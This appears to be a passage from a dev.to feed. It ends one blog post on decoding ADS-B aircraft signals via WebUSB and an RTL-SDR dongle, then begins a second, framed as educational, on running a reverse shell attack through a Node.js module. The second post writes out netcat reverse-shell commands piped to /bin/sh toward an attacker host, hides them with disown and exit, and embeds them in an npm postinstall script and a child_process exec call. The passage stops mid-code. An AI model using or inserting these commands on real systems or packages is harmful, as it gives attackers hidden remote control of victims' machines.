&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;button&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;onclick&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nb"&gt;navigator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;usb&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;requestDevice&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
      &lt;span class="na"&gt;filters&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="na"&gt;vendorId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mh"&gt;0x0bda&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
          &lt;span class="na"&gt;productId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mh"&gt;0x2838&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
      &lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It returns a promise with the device selected in the list. The next steps are to open a session with this device, select a configuration and claiming an interface:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;device&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;device&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;device&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;selectConfiguration&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;device&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;claimInterface&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The configuration and interface are device specific. I couldn't find information online about the particular device I'm using so I tried different values until it worked...&lt;/p&gt;

&lt;p&gt;Once these steps execute successfully, the device should be connected. Now, the frequency and sample rate need to be set.&lt;br&gt;
For this, I relied on the awesome &lt;a href="https://github.com/sandeepmistry/rtlsdrjs" rel="noopener noreferrer"&gt;rtlsdrjs&lt;/a&gt; library by &lt;a href="https://github.com/sandeepmistry" rel="noopener noreferrer"&gt;Sandeep Mistry&lt;/a&gt;. If you decide to use it to create a similar project, I used &lt;code&gt;1090000000&lt;/code&gt; as the frequency (for 1090MHz) and &lt;code&gt;2000000&lt;/code&gt; as the sample rate.&lt;/p&gt;

&lt;p&gt;Finally, the &lt;code&gt;transferIn&lt;/code&gt; method executes when data is received from the device.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;transferIn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;256000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Uint8Array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This code returns raw data that looks like this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1pep1x5ep4bcouv4tclr.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1pep1x5ep4bcouv4tclr.gif" alt="Live data printed in the console"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Once processed and formatted, it looks like this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgnumphqjthb6js9s0z8l.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgnumphqjthb6js9s0z8l.png" alt="JSON object showing properties including speed, altitude, latitude, longitude and more."&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Processing raw ADS-B data
&lt;/h2&gt;

&lt;p&gt;This part of the project relies a lot on existing work. I need to dive deeper into how the Mode S communication protocol works to decode the data but this &lt;a href="https://mode-s.org/decode/content/ads-b/1-basics.html" rel="noopener noreferrer"&gt;guide to decoding Mode-S and ADS-B signals&lt;/a&gt; seems to be a very good start.&lt;/p&gt;

&lt;p&gt;So far, from what I understand, ADS-B messages have 2 main parts, a preamble and a data block. The data block consists of 112 bits organized in 5 sections:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;+----------+----------+-------------+------------------------+-----------+
|  DF (5)  |  CA (3)  |  ICAO (24)  |         ME (56)        |  PI (24)  |
+----------+----------+-------------+------------------------+-----------+
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;DF: Downlink Format&lt;/li&gt;
&lt;li&gt;CA: Transponder Capability&lt;/li&gt;
&lt;li&gt;ICAO Aircraft address&lt;/li&gt;
&lt;li&gt;ME: Message&lt;/li&gt;
&lt;li&gt;PI: Parity ID&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Bits 33-88 are dedicated to the message. Without going into too much detail, the first 5 bits of this section indicate the type code. If this type code is between 1 and 4, the ADS-B message is an Aircraft identification message, if the type code is between 5-8, the message is a surface position message, etc. &lt;br&gt;
This type code matters because it indicates what the rest of the message relates to.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr4sz1lx245p60vbv98rg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr4sz1lx245p60vbv98rg.png" alt="Table containing the type codes for ADS-B messages"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;An example of raw ADS-B message in hexadecimal format looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="nx"&gt;D4840D6202CC371C32CE0576098&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In binary, it translates to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="mi"&gt;1000110101001000010000001101011000100000001011001100001101110001110000110010110011100000010101110110000010011000&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you're following, you can maybe guess how many bits this is...&lt;/p&gt;

&lt;p&gt;...&lt;/p&gt;

&lt;p&gt;...&lt;/p&gt;

&lt;p&gt;...&lt;/p&gt;

&lt;p&gt;112!&lt;/p&gt;

&lt;p&gt;If we use the table shown previously, we can split this binary into the respective sections:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;+--------+--------+--------------+-------------------------+-------------------+
| DF (5) | CA (3) |   ICAO (24)  |         ME (56)         |      PI (24)      |
+--------+--------+--------------+-------------------------+-------------------+
| 10001  | 101    | 010010000100 | 00100000001011001100001 | 01010111011000001 |
|        |        | 000011010110 | 10111000111000011001011 | 0011000           |
|        |        | 000011010110 | 0011100000              |                   |
|        |        |              |                         |                   |
+--------+--------+--------------+-------------------------+-------------------+
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It makes it a little easier to read, but now we can also convert each of these into decimal:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;+--------+--------+--------------+-------------------------+-------------------+
| DF (5) | CA (3) |   ICAO (24)  |         ME (56)         |      PI (24)      |
+--------+--------+--------------+-------------------------+-------------------+
| 17     | 5      | 4735190      | [4]...                  | ...               |
+--------+--------+--------------+-------------------------+-------------------+
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The first 5 bits of the message give the decimal value 4, which means this is an aircraft identification message. From there, if I understand well, the rest of the message should contain data about the aircraft category and its callsign, according to this table I found.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbibvy9x305ytfhddntsa.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbibvy9x305ytfhddntsa.png" alt="ADS-B aircraft identification codes"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Using this data, you can use online tools like &lt;a href="https://www.planespotters.net/" rel="noopener noreferrer"&gt;planespotters.net&lt;/a&gt; and search for the ICAO code to get more info about the airplanes you're tracking.&lt;/p&gt;

&lt;p&gt;After processing all this data, the result is a JSON object containing information such as altitude, latitude, longitude, etc.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3wn4od0h21lxs5em5u63.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3wn4od0h21lxs5em5u63.png" alt="Processed data as JSON object"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Check out &lt;a href="https://github.com/charliegerard/webusb-rtlsdr-aircraft-radar-system" rel="noopener noreferrer"&gt;the repo&lt;/a&gt; if you want. &lt;/p&gt;

&lt;h2&gt;
  
  
  Final setup
&lt;/h2&gt;

&lt;p&gt;In the end, this is what my setup looks like:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdcewujj1cfh1j3pca5sj.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdcewujj1cfh1j3pca5sj.jpeg" alt="Laptop with antenna set up on a rooftop"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;—-&lt;/p&gt;

&lt;p&gt;This post wasn't a deep dive but hopefully it made sense! &lt;/p&gt;

&lt;p&gt;I’m really super happy I was able to get this project to work using Web USB, it's something I've wanted to do for years!&lt;/p&gt;

&lt;p&gt;I still gotta learn more about it but I have a few other ideas of projects I want to build around the same technology, I’m pretty excited! It just takes a lot of time to dive into something I know nothing about 😅...&lt;/p&gt;

&lt;h2&gt;
  
  
  Additional resources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://mode-s.org/decode/content/introduction.html" rel="noopener noreferrer"&gt;The 1090 Megahertz Riddle (2nd edition)&lt;/a&gt; - Amazing online resource to learn how to decode Mode S data.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://www.rtl-sdr.com/wp-content/uploads/2018/02/RTL-SDR-Blog-V3-Datasheet.pdf" rel="noopener noreferrer"&gt;RTL-SDR v3 datasheet&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://www.rtl-sdr.com/about-rtl-sdr/" rel="noopener noreferrer"&gt;Learn more about RTL-SDR&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://github.com/watson/airplanejs" rel="noopener noreferrer"&gt;AirplaneJS&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://arxiv.org/pdf/1904.09969.pdf" rel="noopener noreferrer"&gt;Interesting paper about ADS-B spoofing attacks&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="http://web.mit.edu/6.933/www/Fall2000/mode-s/index.html" rel="noopener noreferrer"&gt;The story of Mode S&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="http://jasonplayne.com:8080/#" rel="noopener noreferrer"&gt;Mode S decoder&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://github.com/antirez/dump1090" rel="noopener noreferrer"&gt;dump1090&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="http://airmetar.main.jp/radio/ADS-B%20Decoding%20Guide.pdf" rel="noopener noreferrer"&gt;ADS-B decoding guide&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://github.com/google/radioreceiver" rel="noopener noreferrer"&gt;Radio receiver&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>javascript</category>
      <category>webusb</category>
      <category>rtlsdr</category>
    </item>
    <item>
      <title>Gaining remote access to a computer with a reverse shell attack in Node.js</title>
      <dc:creator>Charlie Gerard</dc:creator>
      <pubDate>Tue, 28 Jun 2022 15:06:44 +0000</pubDate>
      <link>https://dev.to/devdevcharlie/gaining-remote-access-to-a-computer-with-a-reverse-shell-attack-in-nodejs-3a40</link>
      <guid>https://dev.to/devdevcharlie/gaining-remote-access-to-a-computer-with-a-reverse-shell-attack-in-nodejs-3a40</guid>
      <description>&lt;p&gt;&lt;em&gt;Originally posted on &lt;a href="https://charliegerard.dev/blog/reverse-shell-node-js" rel="noopener noreferrer"&gt;my blog&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I recently learnt what a reverse shell is and got excited to experiment running this kind of attack via a Node.js module. This post will go through my thought process and the different options I tried.&lt;/p&gt;

&lt;p&gt;⚠️ &lt;strong&gt;Important notes&lt;/strong&gt; ⚠️ &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;I am writing this blog post for &lt;strong&gt;educational purposes only&lt;/strong&gt;. Running a reverse shell attack on someone without their approval is illegal; my only motivation is to share knowledge and raise awareness so people can protect themselves. &lt;/li&gt;
&lt;li&gt;I am not taking any responsibility for how you decide to use the information shared in this post.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What is a reverse shell?
&lt;/h2&gt;

&lt;p&gt;A reverse shell is a tool that allows a computer to have remote access to another one. It can be very useful if you want to transfer files between multiple computers, or if you want to access information you need that is stored on another computer and network. However, it can also be used to run attacks in which a victim unknowingly initiates a remote shell connection to an attacker's system, allowing the attacker to have nearly complete access to their system.&lt;/p&gt;

&lt;p&gt;If you think about shell commands you might be familiar with such as &lt;code&gt;ls&lt;/code&gt; to list a directory's files, &lt;code&gt;pwd&lt;/code&gt; to show the path to the current directory or &lt;code&gt;nano&lt;/code&gt; to edit the content of files; &lt;strong&gt;a reverse shell allows an attacker to run these commands on a target's system without them knowing&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to create a reverse shell
&lt;/h2&gt;

&lt;p&gt;A common tool to execute a reverse shell is called &lt;a href="http://netcat.sourceforge.net/" rel="noopener noreferrer"&gt;netcat&lt;/a&gt;. If you're using macOS, it should be installed by default. You can check by running &lt;code&gt;nc -help&lt;/code&gt; in a terminal window.&lt;/p&gt;

&lt;h3&gt;
  
  
  Using a private IP address on a local network
&lt;/h3&gt;

&lt;p&gt;You can run a simple example of reverse shell between two computers on the same network. &lt;/p&gt;

&lt;p&gt;On the first computer, start two listeners on different ports, for example, one on port 80 and the other on port 53.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

&lt;span class="c"&gt;# Command tested on macOS, the path to netcat is different on other OS&lt;/span&gt;
/usr/bin/nc &lt;span class="nt"&gt;-l&lt;/span&gt; 80


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

/usr/bin/nc &lt;span class="nt"&gt;-l&lt;/span&gt; 53


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;The flag &lt;code&gt;-l&lt;/code&gt; starts netcat on listening mode, so it will listen to traffic happening on these two ports.&lt;/p&gt;

&lt;p&gt;On the second computer, run the following command:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

nc &amp;lt;first-computer-IP-address&amp;gt; 80 | /bin/sh | nc &amp;lt;first-computer-IP-address&amp;gt; 53


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;This command initiates a connection to the first computer on the two ports specified above, and indicates that any command received on port 80 should be executed as a bash command and send the result to port 53.&lt;/p&gt;

&lt;p&gt;Below is an example of this code working. As a second computer, I have a Raspberry Pi set up in my apartment, connected to the same network as my laptop. In the terminal, I &lt;code&gt;ssh&lt;/code&gt; into the Pi in the first pane. The second and third pane start the listeners on port 80 and 53.&lt;br&gt;
When the listeners are ready, I run the netcat command in the Pi. From there, I'm able to access its file system from my laptop. I run commands such as &lt;code&gt;ls&lt;/code&gt;, &lt;code&gt;whoami&lt;/code&gt; and &lt;code&gt;pwd&lt;/code&gt; in the terminal window listening on port 80 and the result shows in the third pane on the far right. I'm also able to change the name of a file from &lt;code&gt;test.js&lt;/code&gt; to &lt;code&gt;index.js&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcharliegerard.dev%2Freverse-shell-demo.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcharliegerard.dev%2Freverse-shell-demo.gif" alt="GIF demo showing how I am running a reverse shell on a Raspberry Pi and access it from my laptop"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You can imagine how useful this tool is, for example, if you want to transfer files easily between two computers on the same network.&lt;/p&gt;

&lt;h3&gt;
  
  
  Using a public IP address
&lt;/h3&gt;

&lt;p&gt;In the example above, I showed how to create a reverse shell between computers on the same network, however, when running this as an attack to gain access to a victim's computer, both devices will probably be connected to different networks so the code above won't work.&lt;/p&gt;

&lt;p&gt;Indeed, the code sample shown in the previous section uses the device's private IP address on my local network. This private IP address cannot be accessed from outside my home network.&lt;/p&gt;

&lt;p&gt;To be able to use a public IP address, I've decided to use &lt;a href="https://www.linode.com/" rel="noopener noreferrer"&gt;Linode&lt;/a&gt; to create a virtual machine (VM), that both the target and attacker will connect to.&lt;/p&gt;

&lt;p&gt;Once the VM finished spinning up, I replaced the private IP address from the code above, with the public IP address of the VM.&lt;br&gt;
For the purpose of this post, let's imagine this IP address is 10.10.10.10.&lt;/p&gt;

&lt;p&gt;From my laptop, I connect to my VM using the following command:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

ssh root@10.10.10.10


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;From there, similar commands from the ones shown in the previous section can be run. &lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

nc &lt;span class="nt"&gt;-l&lt;/span&gt; 80 &lt;span class="nt"&gt;-s&lt;/span&gt; 10.10.10.10


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

nc &lt;span class="nt"&gt;-l&lt;/span&gt; 53 &lt;span class="nt"&gt;-s&lt;/span&gt; 10.10.10.10


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;The additional &lt;code&gt;-s&lt;/code&gt; is used to indicate the &lt;code&gt;source&lt;/code&gt; IP address, so the VM's public IP address.&lt;/p&gt;

&lt;p&gt;Then, on the target's computer, the following command needs to be run:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

nc 10.10.10.10 80 | /bin/sh | nc 10.10.10.10 53 | &lt;span class="nb"&gt;disown&lt;/span&gt; | &lt;span class="nb"&gt;exit &lt;/span&gt;0&lt;span class="p"&gt;;&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;The additional &lt;code&gt;disown&lt;/code&gt; is used to run the program continuously in the background and &lt;code&gt;exit 0&lt;/code&gt; is used to terminate it so the terminal does not look like the program is still executing (even though it is).&lt;/p&gt;

&lt;p&gt;Once these commands are run, I have access to the second computer's system no matter if it is inside or outside of my home network.&lt;/p&gt;

&lt;p&gt;So now, how can we get a target to run this?&lt;/p&gt;

&lt;h2&gt;
  
  
  Running a reverse shell in a Node.js module
&lt;/h2&gt;

&lt;p&gt;A few weeks ago I wrote a post about how to &lt;a href="https://charliegerard.dev/blog/ransomware-script-node-module" rel="noopener noreferrer"&gt;run a ransomware attack in a Node.js module&lt;/a&gt;, and in the same spirit, I explored a few different ways to run a reverse shell attack using the same medium.&lt;/p&gt;

&lt;h3&gt;
  
  
  postinstall
&lt;/h3&gt;

&lt;p&gt;One way to run this would be to take advantage of the &lt;code&gt;postinstall&lt;/code&gt; attribute of a module's &lt;code&gt;package.json&lt;/code&gt; file. This command runs right after a package has finished installing so it wouldn't even require the target to import and use it.&lt;/p&gt;

&lt;p&gt;This could be done in two ways, first, by running the command directly:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="nl"&gt;"scripts"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"postinstall"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"nc 10.10.10.10 80 | /bin/sh | nc 10.10.10.10 53 | exit 0;"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt;&lt;span class="w"&gt;


&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Or running the command in a separate JavaScript file:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="nl"&gt;"scripts"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"postinstall"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"node index.js"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt;&lt;span class="w"&gt;


&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Even though using &lt;code&gt;postinstall&lt;/code&gt; would work, it may look quite obvious if a user decided to look at the source code before installing the package, especially if the command is run directly, so the package could get flagged quickly.&lt;/p&gt;

&lt;p&gt;If &lt;code&gt;postinstall&lt;/code&gt; is running a JS file, it might look less obvious, but how would it start the reverse shell?&lt;/p&gt;

&lt;h3&gt;
  
  
  Using exec or execFile
&lt;/h3&gt;

&lt;p&gt;To run this command in a JS file, you can use &lt;code&gt;exec&lt;/code&gt; and &lt;code&gt;execFile&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;exec&lt;/code&gt; executes the command passed to the function:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;exec&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;child_process&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nf"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;nc 10.10.10.10 80 | /bin/sh | nc 10.10.10.10 53 | disown | exit 0;&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

